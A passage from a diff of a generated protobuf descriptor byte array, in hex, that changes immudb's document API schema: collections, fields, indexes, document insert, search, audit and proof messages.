0x6d, 0x70, 0x61, - 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, - 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x52, 0x10, 0x66, 0x69, 0x65, - 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x22, 0x93, 0x01, - 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, - 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, - 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, - 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, - 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x22, 0x58, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, - 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, - 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x8b, 0x01, - 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, - 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, - 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, - 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x9e, 0x01, 0x0a, 0x0a, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x69, + 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, + 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, + 0x6c, 0x64, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, + 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x52, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x22, 0x48, 0x0a, 0x05, 0x46, 0x69, 0x65, + 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, + 0x79, 0x70, 0x65, 0x22, 0x3b, 0x0a, 0x05, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x0a, 0x06, + 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, + 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, + 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x51, 0x0a, 0x15, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x38, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, + 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x54, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x3a, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, + 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, + 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x53, 0x0a, 0x17, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x38, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x1a, + 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x5e, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x22, 0x72, 0x0a, 0x19, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x35, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, - 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x98, 0x01, 0x0a, 0x14, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, - 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, - 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, - 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x74, 0x52, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x64, 0x0a, 0x1a, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, + 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, + 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, + 0x12, 0x20, 0x0a, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x73, 0x18, + 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x64, 0x73, 0x22, 0x97, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, 0x0a, 0x05, + 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, + 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x7a, 0x0a, 0x16, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, + 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x1e, 0x0a, 0x0a, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, + 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, + 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0xc0, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x12, 0x1e, + 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x29, + 0x0a, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x13, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, + 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x12, 0x0a, + 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, + 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x48, 0x0a, 0x05, 0x51, + 0x75, 0x65, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, + 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x65, 0x78, 0x70, 0x72, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x5c, 0x0a, 0x0f, 0x51, 0x75, 0x65, 0x72, 0x79, 0x45, 0x78, + 0x70, 0x72, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x69, 0x65, 0x6c, + 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, + 0x6e, 0x52, 0x10, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, + 0x6f, 0x6e, 0x73, 0x22, 0x93, 0x01, 0x0a, 0x0f, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x43, 0x6f, 0x6d, + 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x12, 0x14, 0x0a, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x3c, 0x0a, + 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, + 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, + 0x6f, 0x6d, 0x70, 0x61, 0x72, 0x69, 0x73, 0x6f, 0x6e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x52, 0x08, 0x6f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x2c, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x74, 0x0a, 0x16, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x49, 0x44, 0x12, + 0x3e, 0x0a, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x52, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x09, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, - 0xb6, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, - 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, - 